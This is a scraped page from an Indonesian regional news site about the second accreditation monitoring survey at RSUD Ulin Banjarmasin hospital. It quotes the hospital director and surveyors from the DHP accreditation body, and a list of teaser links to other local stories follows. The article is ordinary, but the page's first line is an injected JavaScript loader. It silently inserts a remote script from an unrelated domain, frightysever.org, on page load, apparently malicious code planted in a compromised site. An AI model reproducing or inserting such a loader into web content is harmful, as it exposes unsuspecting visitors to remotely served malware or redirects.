(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin kembali menjalani Survei Monitoring Akreditasi kedua sebagai bagian dari komitmen peningkatan mutu dan keselamatan pasien.
Kegiatan berlangsung di aula Ulin Tower 8, Jumat (17/10/2025), dipimpin oleh Tim Lembaga Akreditasi Rumah Sakit Darma Husada Paripurna (DHP) Jakarta, dr Raden Gunawan Effendi dan dr Moch Jasin.
Survei ini diikuti jajaran manajemen, para wakil direktur, Dewan Pengawas, serta seluruh unit pelayanan RSUD Ulin Banjarmasin.
Baca juga: Sejarah Hari Pemberantasan Kemiskinan Sedunia
Direktur RSUD Ulin Banjarmasin, dr Among Wibowo menegaskan bahwa survei monitoring ini menjadi momentum penting untuk menilai konsistensi implementasi standar akreditasi yang telah dijalankan rumah sakit.
“Kegiatan ini bukan hanya untuk memenuhi persyaratan administratif, tetapi untuk mengidentifikasi area yang perlu diperbaiki serta memperkuat kolaborasi antarunit.
Selama dua hari pelaksanaan, kami mohon dukungan penuh dari seluruh pegawai agar seluruh data dan dokumen dapat disajikan dengan lengkap dan terbuka,” ujarnya.
Dia menyampaikan apresiasi kepada seluruh tenaga medis, perawat, penunjang kesehatan, hingga staf administratif yang terus menunjukkan semangat dalam mempertahankan mutu layanan rumah sakit.
Baca juga: Kelompok Usia 15-24 Tahun Penerima Santunan Jasa Raharja Tertinggi di Kalsel
“Kami menyambut hangat kehadiran para surveyor. Kami sangat terbuka untuk mendapatkan pembinaan, arahan, dan masukan demi peningkatan mutu dan keselamatan pasien di RSUD Ulin yang kita cintai,” tambahnya.
Sementara itu, perwakilan Tim DHP, dr Raden Gunawan Effendi mengingatkan bahwa survei akreditasi berikutnya sudah semakin dekat.
“Tahun depan tinggal tiga bulan lagi. Survei mendatang akan menggunakan standar baru Akreditasi 2024. Karena itu mulai sekarang seluruh elemen harus bersiap, mulai dari pemutakhiran dokumen PPS hingga pelaksanaan penilaian secara berkelanjutan,” tegasnya.
Ia menyebutkan bahwa proses survei akan diawali dengan penelusuran dokumen, dilanjutkan observasi lapangan untuk memastikan seluruh elemen akreditasi dilaksanakan secara konsisten tanpa menurunkan standar.
Baca juga: BPSDMD Kalsel Menutup Pelatihan Etika ASN dan Manajemen Bencana
“Harapan kami, saat survei tahun depan, RSUD Ulin sudah siap sepenuhnya dan dapat mempertahankan hasil paripurna,” tutupnya.
Kegiatan kemudian dilanjutkan dengan pemaparan persiapan PPS oleh Direktur RSUD Ulin sebelum tim surveyor memasuki sesi peninjauan teknis. (Kanalkalimantan.com/mckalsel)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.